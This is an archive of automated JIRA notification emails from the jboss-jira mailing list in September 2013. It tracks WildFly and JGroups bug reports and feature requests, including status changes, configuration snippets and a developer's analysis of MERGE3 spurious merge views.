If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 20:39:49 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:39:49 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2071) Messaging queue attributes
 must be read-only
In-Reply-To: <JIRA.12500697.1379086256000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500697.1379086256000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500697.1379086256000.2734.1380069589068@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2071?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807073#comment-12807073 ] 

RH Bugzilla Integration commented on WFLY-2071:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1004789|https://bugzilla.redhat.com/show_bug.cgi?id=1004789] from MODIFIED to ON_QA
                
> Messaging queue attributes must be read-only
> --------------------------------------------
>
>                 Key: WFLY-2071
>                 URL: https://issues.jboss.org/browse/WFLY-2071
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: JMS
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Beta1
>
>
> Currently, the messaging subsystem's queue and jms-queue resources defines attributes that are writable (eg filter and durable attribute).
> This is not correct, once a queue is created with these attributes, they can not be changed for the lifetime of a queue (a durable queue can not become non-durable).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 20:39:49 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:39:49 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1971) Add rotate-on-boot attribute
 to size-rotating-file-handler
In-Reply-To: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499642.1377791105000.2755.1380069589964@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1971?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807079#comment-12807079 ] 

RH Bugzilla Integration commented on WFLY-1971:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 999665|https://bugzilla.redhat.com/show_bug.cgi?id=999665] from MODIFIED to ON_QA
                
> Add rotate-on-boot attribute to size-rotating-file-handler
> ----------------------------------------------------------
>
>                 Key: WFLY-1971
>                 URL: https://issues.jboss.org/browse/WFLY-1971
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>
> Add {{rotate-on-boot}} attribute to the {{size-rotating-file-handler}}. Property available in JBoss LogManger 1.5+.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 20:39:49 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:39:49 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1507) Investigate failure in
 StatefulWithXPCFailoverTestCase
In-Reply-To: <JIRA.12494123.1371055191000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494123.1371055191000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494123.1371055191000.2751.1380069589813@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1507?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807078#comment-12807078 ] 

RH Bugzilla Integration commented on WFLY-1507:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 963610|https://bugzilla.redhat.com/show_bug.cgi?id=963610] from MODIFIED to ON_QA
                
> Investigate failure in StatefulWithXPCFailoverTestCase
> ------------------------------------------------------
>
>                 Key: WFLY-1507
>                 URL: https://issues.jboss.org/browse/WFLY-1507
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: jaikiran pai
>            Assignee: Paul Ferraro
>            Priority: Blocker
>             Fix For: 8.0.0.Alpha2
>
>         Attachments: log2.txt
>
>
> Numerous exceptions are reported and the tests fails intermittently but often in StatefulWithXPCFailoverTestCase.
> Entire logs attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 20:39:50 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:39:50 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1575) jboss-cli.sh allows creation
 of an invalid jsse element within a security-domain
In-Reply-To: <JIRA.12494891.1371830740000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494891.1371830740000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494891.1371830740000.2759.1380069590127@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1575?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807080#comment-12807080 ] 

RH Bugzilla Integration commented on WFLY-1575:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 977417|https://bugzilla.redhat.com/show_bug.cgi?id=977417] from MODIFIED to ON_QA
                
> jboss-cli.sh allows creation of an invalid jsse element within a security-domain
> --------------------------------------------------------------------------------
>
>                 Key: WFLY-1575
>                 URL: https://issues.jboss.org/browse/WFLY-1575
>             Project: WildFly
>          Issue Type: Bug
>          Components: Security
>    Affects Versions: 8.0.0.Alpha2
>         Environment: Linux 3.9.4-200.fc18.x86_64 #1 SMP Fri May 24 20:10:49 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
>            Reporter: Thomas Hauser
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>
> The jboss-cli.sh allows me to add a security-domain definition which is not valid. Apparently you *must* have a keystore-password or truststore-password, but this restriction is not enforced in the cli. 
> I do not have too deep an understanding of how the cli decides that a given attribute is required, but I have seen cases where the cli will warn me if I try to do something without all required attributes. Something similar should probably be done here.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 20:39:50 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:39:50 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1650) Legacy subsystem testing
 needs some classloading exclusion mecanism
In-Reply-To: <JIRA.12495799.1373019038000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495799.1373019038000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495799.1373019038000.2766.1380069590379@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1650?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807082#comment-12807082 ] 

RH Bugzilla Integration commented on WFLY-1650:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 980923|https://bugzilla.redhat.com/show_bug.cgi?id=980923] from MODIFIED to ON_QA
                
> Legacy subsystem testing needs some classloading exclusion mecanism
> -------------------------------------------------------------------
>
>                 Key: WFLY-1650
>                 URL: https://issues.jboss.org/browse/WFLY-1650
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging, Test Suite
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>
> When translation messages are used (which is the case of EAP) we have conflicts between generated $logger classes when testing submodules.
> Some $logger classes exis thus they are loaded by the parent classloader before the childfirstclassloader tries to load them, thus we have a potential ClassCastException brewing. 
> For exemple this breaks the EAP build on a French OS.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 20:39:50 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:39:50 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2089) Error executing composite
 operation as server group role
In-Reply-To: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500794.1379353242000.2771.1380069590575@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2089?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807084#comment-12807084 ] 

RH Bugzilla Integration commented on WFLY-2089:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1008087|https://bugzilla.redhat.com/show_bug.cgi?id=1008087] from MODIFIED to ON_QA
                
> Error executing composite operation as server group role
> --------------------------------------------------------
>
>                 Key: WFLY-2089
>                 URL: https://issues.jboss.org/browse/WFLY-2089
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> This role
> {noformat}
> [domain at localhost:9999 /] /core-service=management/access=authorization/server-group-scoped-role=main-MAINTAINER:read-resource
> {                                          
>     "outcome" => "success",
>     "result" => {
>         "base-role" => "MAINTAINER",
>         "server-groups" => ["main-server-group"]
>     }
> }
> {noformat}
> ... executing this operation 
> {noformat}
> [INFO] {
> [INFO]     "address" => [],
> [INFO]     "operation" => "composite",
> [INFO]     "steps" => [
> [INFO]         {
> [INFO]             "address" => [],
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "deployment"
> [INFO]         },
> [INFO]         {
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "server-group"
> [INFO]         },
> [INFO]         {
> [INFO]             "address" => [
> [INFO]                 ("server-group" => "*"),
> [INFO]                 ("deployment" => "*")
> [INFO]             ],
> [INFO]             "operation" => "read-resource"
> [INFO]         }
> [INFO]     ]
> [INFO] }
> {noformat}
> ... leads to:
> {noformat}
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,762 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,766 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 1) JBAS014616: Operation ("resolve") failed - address: ([]) - failure description: "JBAS013456: Unauthorized to execute operation 'resolve' for resource '[]' -- \"JBAS013475: Permission denied\""
> [Host Controller] 19:37:41,767 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [500  Internal Server Error] ()
> [Host Controller] 19:37:41,821 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,852 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014616: Operation ("composite") failed - address: ([]) - failure description: "JBAS014883: No resource definition is registered for address [
> [Host Controller]     (\"host\" => \"master\"),
> [Host Controller]     (\"server\" => \"server-two\")
> [Host Controller] ]"
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 20:39:50 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:39:50 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1996) Application client will not
 start if run against a standalone client jar
In-Reply-To: <JIRA.12499903.1378291333000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499903.1378291333000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499903.1378291333000.2774.1380069590738@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1996?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807085#comment-12807085 ] 

RH Bugzilla Integration commented on WFLY-1996:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1003104|https://bugzilla.redhat.com/show_bug.cgi?id=1003104] from MODIFIED to ON_QA
                
> Application client will not start if run against a standalone client jar
> ------------------------------------------------------------------------
>
>                 Key: WFLY-1996
>                 URL: https://issues.jboss.org/browse/WFLY-1996
>             Project: WildFly
>          Issue Type: Bug
>          Components: Application Client
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 20:39:50 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:39:50 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2113)
 NamingBindingResourceDefinition attribute validation
In-Reply-To: <JIRA.12501022.1379599096000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501022.1379599096000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501022.1379599096000.2777.1380069590840@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2113?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807086#comment-12807086 ] 

RH Bugzilla Integration commented on WFLY-2113:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1006206|https://bugzilla.redhat.com/show_bug.cgi?id=1006206] from MODIFIED to ON_QA
                
> NamingBindingResourceDefinition attribute validation
> ----------------------------------------------------
>
>                 Key: WFLY-2113
>                 URL: https://issues.jboss.org/browse/WFLY-2113
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Naming
>            Reporter: Eduardo Martins
>            Assignee: Eduardo Martins
>             Fix For: 8.0.0.Beta1
>
>
> Missing attribute validation may end up on an invalid naming subsystem config, which then prevents server start. For instance it is possible to use the CLI to add a simple binding without value defined, or change an existing resource value attribute to null.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 20:39:51 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:39:51 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-327) Remote JNDI is not working
 with a HornetQ-only JMS bridge
In-Reply-To: <JIRA.12485139.1361266488000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485139.1361266488000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485139.1361266488000.2786.1380069591211@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-327?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807090#comment-12807090 ] 

RH Bugzilla Integration commented on WFLY-327:
----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 912653|https://bugzilla.redhat.com/show_bug.cgi?id=912653] from MODIFIED to ON_QA
                
> Remote JNDI is not working with a HornetQ-only JMS bridge
> ---------------------------------------------------------
>
>                 Key: WFLY-327
>                 URL: https://issues.jboss.org/browse/WFLY-327
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: JMS
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha1
>
>
> The jms-bridge can be used to bridge a hornetq server to another and should work by specifying to use the org.hornetq.module to load the JMS implementation classes.
> However, this fails because this module does not have access to the JBoss remote-naming module that is required to connect to remote JBoss JNDI server.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 20:39:51 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:39:51 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-101) JMSService.start is doing
	blocking I/O
In-Reply-To: <JIRA.12489128.1365693199000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489128.1365693199000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489128.1365693199000.2793.1380069591491@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-101?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807093#comment-12807093 ] 

RH Bugzilla Integration commented on WFLY-101:
----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1003913|https://bugzilla.redhat.com/show_bug.cgi?id=1003913] from MODIFIED to ON_QA
                
> JMSService.start is doing blocking I/O
> --------------------------------------
>
>                 Key: WFLY-101
>                 URL: https://issues.jboss.org/browse/WFLY-101
>             Project: WildFly
>          Issue Type: Bug
>          Components: JMS
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha1
>
>
> flag the start context as asynchronous

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 21:14:45 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Tue, 24 Sep 2013 21:14:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2151) don't deploy persistence unit
 in EE client container unless its part of an application client jar
In-Reply-To: <JIRA.12501447.1380071620727@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501447.1380071620727@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501447.1380071620727.2802.1380071685211@jira02.app.mwc.hst.phx2.redhat.com>

Scott Marlow created WFLY-2151:
----------------------------------

             Summary: don't deploy persistence unit in EE client container unless its part of an application client jar
                 Key: WFLY-2151
                 URL: https://issues.jboss.org/browse/WFLY-2151
             Project: WildFly
          Issue Type: Feature Request
          Components: JPA / Hibernate
    Affects Versions: 8.0.0.Alpha1
            Reporter: Scott Marlow
            Assignee: Scott Marlow
             Fix For: 8.0.0.Beta1




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 01:34:45 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Wed, 25 Sep 2013 01:34:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1705) MERGE3 handles fake merge
	views
In-Reply-To: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501418.1380040635000.2890.1380087285232@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1705?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1705:
---------------------------

    Fix Version/s: 3.4

    
> MERGE3 handles fake merge views
> -------------------------------
>
>                 Key: JGRP-1705
>                 URL: https://issues.jboss.org/browse/JGRP-1705
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Karim AMMOUS
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>         Attachments: JIRA-MERGE-1subGroup-Shutdown.log, JIRA-MERGE-1subGroup.log
>
>
> Under some conditions, MERGE3 handles fake merge views. After "merge", number of members that form the cluster still the same and the mergeView contains only one subgroup.
> Scenario:
> - Form a large cluster (1115 mbrs)
> - Enable MERGE3 TRACE logging level on coordintor member (172.29.190.5)
> - Reboot one machine (172.29.190.5) hosting 7 JVMs
> - Coord install a new view with 1108 mbrs.
> When new members join the cluster we observe a merge view formed by only one subgroup.
> Coordinator log file was attached to this JIRA.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 01:39:45 2013
From: jira-events at lists.jboss.org (James Livingston (JIRA))
Date: Wed, 25 Sep 2013 01:39:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1527) Adding context root to
 classpath as a resource-root doesn't work
In-Reply-To: <JIRA.12494279.1371198162000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494279.1371198162000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494279.1371198162000.2896.1380087585362@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1527?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807112#comment-12807112 ] 

James Livingston commented on WFLY-1527:
----------------------------------------

This can be worked around by adding it to a module that then gets added as a dependency:

<?xml version="1.0"?>
<jboss-deployment-structure >
        <deployment>
                <dependencies>
                        <module name="deployment.ear-root" export="true" />
                </dependencies>
        </deployment>
        <module name="deployment.ear-root">
                <resources>
                        <resource-root path="."/>
                </resources>
        </module>
</jboss-deployment-structure>
                
> Adding context root to classpath as a resource-root doesn't work
> ----------------------------------------------------------------
>
>                 Key: WFLY-1527
>                 URL: https://issues.jboss.org/browse/WFLY-1527
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web (JBoss Web), Web (Undertow)
>            Reporter: Josef Cacek
>            Assignee: Remy Maucherat
>         Attachments: test.war
>
>
> It's not possible to include root of a war in the classpath (using resource-root in jboss-deployment-structure.xml). None of "/", ".", "" values used as resource-root works to solve this.
> {code:xml}
> <jboss-deployment-structure>
>      <deployment>
>          <resources>
>              <resource-root path="/"/>
>          </resources>
>      </deployment>
> </jboss-deployment-structure>
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 02:26:45 2013
From: jira-events at lists.jboss.org (Jozef Hartinger (JIRA))
Date: Wed, 25 Sep 2013 02:26:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2096) WeldApplicationFactory
 doesn't implement setApplication() correctly
In-Reply-To: <JIRA.12500836.1379414469000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500836.1379414469000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500836.1379414469000.2921.1380090405509@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2096?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jozef Hartinger reassigned WFLY-2096:
-------------------------------------

    Assignee: Jozef Hartinger  (was: Stuart Douglas)

    
> WeldApplicationFactory doesn't implement setApplication() correctly
> -------------------------------------------------------------------
>
>                 Key: WFLY-2096
>                 URL: https://issues.jboss.org/browse/WFLY-2096
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld, JSF
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Martin Kouba
>            Assignee: Jozef Hartinger
>
> The problem is described in WELD-913. The fix was only applied to Weld servlet support [1] and not AS7/WildFly8 integration code (most probably because the target environment of the issue was Tomcat).
> [1]
> https://github.com/weld/core/blob/master/environments/servlet/core/src/main/java/org/jboss/weld/environment/servlet/jsf/WeldApplicationFactory.java

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 02:28:45 2013
From: jira-events at lists.jboss.org (Josef Cacek (JIRA))
Date: Wed, 25 Sep 2013 02:28:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2152) Windows Batch scripts
	usability fix
In-Reply-To: <JIRA.12501450.1380090498794@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501450.1380090498794@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501450.1380090498794.2923.1380090525201@jira02.app.mwc.hst.phx2.redhat.com>

Josef Cacek created WFLY-2152:
---------------------------------

             Summary: Windows Batch scripts usability fix
                 Key: WFLY-2152
                 URL: https://issues.jboss.org/browse/WFLY-2152
             Project: WildFly
          Issue Type: Feature Request
          Components: Scripts
    Affects Versions: 8.0.0.Beta1
            Reporter: Josef Cacek
            Assignee: Josef Cacek


Character '&' in folder paths causes troubles in windows batch scripts.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 02:30:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 25 Sep 2013 02:30:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2152) Windows Batch scripts
	usability fix
In-Reply-To: <JIRA.12501450.1380090498000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501450.1380090498000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501450.1380090498000.2926.1380090645845@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2152?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2152:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1010852

    
> Windows Batch scripts usability fix
> -----------------------------------
>
>                 Key: WFLY-2152
>                 URL: https://issues.jboss.org/browse/WFLY-2152
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Scripts
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Josef Cacek
>            Assignee: Josef Cacek
>
> Character '&' in folder paths causes troubles in windows batch scripts.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 02:30:46 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Wed, 25 Sep 2013 02:30:46 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1705) MERGE3 handles fake merge
	views
In-Reply-To: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501418.1380040635000.2929.1380090646190@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1705?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807119#comment-12807119 ] 

Bela Ban commented on JGRP-1705:
--------------------------------

I see 2 scenarios where this can happen:

h5. Member sends old view before new view is received
The InfoSender task at a member kicks in just before a new view is received, and thus the member sends the old view. Example:
* The view is \{A,B,C,D\}
* A installs new view A|5 (the old view is A|4)
* Just before receiving A|5, C's InfoSender sends an INFO with view=A|4 to the coordinator (A)
* Everybody else sends an INFO with view=A|5 to A
* A now has 2 views A|4 and A|5 and starts the merge process

Actually, before this happens, the coordinator asks A (itself) and C for their actual views and only starts the merge process if the actual views differ; this as a second line of defense against a spurious merge.


h5. Coordinator's 'views' table contains outdated information
The coordinator maintains a 'views' table, which is a hashmap keyed by ViewId. The problem is that if the coord receives 2 INFO messages from the same sender, but with different ViewIds, then the merge process is triggered as well:
* C sends INFO=A|5
* The views table contains A|5=[C]
* A installs A|6 and C sends INFO=A|6
* The views table contains A|5=[C], A|6=[C] // ommitting the INFO messages from other members

Again, fetching the real views before triggering a merge should remedy this, but there's still a time window where this can happen
                
> MERGE3 handles fake merge views
> -------------------------------
>
>                 Key: JGRP-1705
>                 URL: https://issues.jboss.org/browse/JGRP-1705
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Karim AMMOUS
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>         Attachments: JIRA-MERGE-1subGroup-Shutdown.log, JIRA-MERGE-1subGroup.log
>
>
> Under some conditions, MERGE3 handles fake merge views. After "merge", number of members that form the cluster still the same and the mergeView contains only one subgroup.
> Scenario:
> - Form a large cluster (1115 mbrs)
> - Enable MERGE3 TRACE logging level on coordintor member (172.29.190.5)
> - Reboot one machine (172.29.190.5) hosting 7 JVMs
> - Coord install a new view with 1108 mbrs.
> When new members join the cluster we observe a merge view formed by only one subgroup.
> Coordinator log file was attached to this JIRA.

--
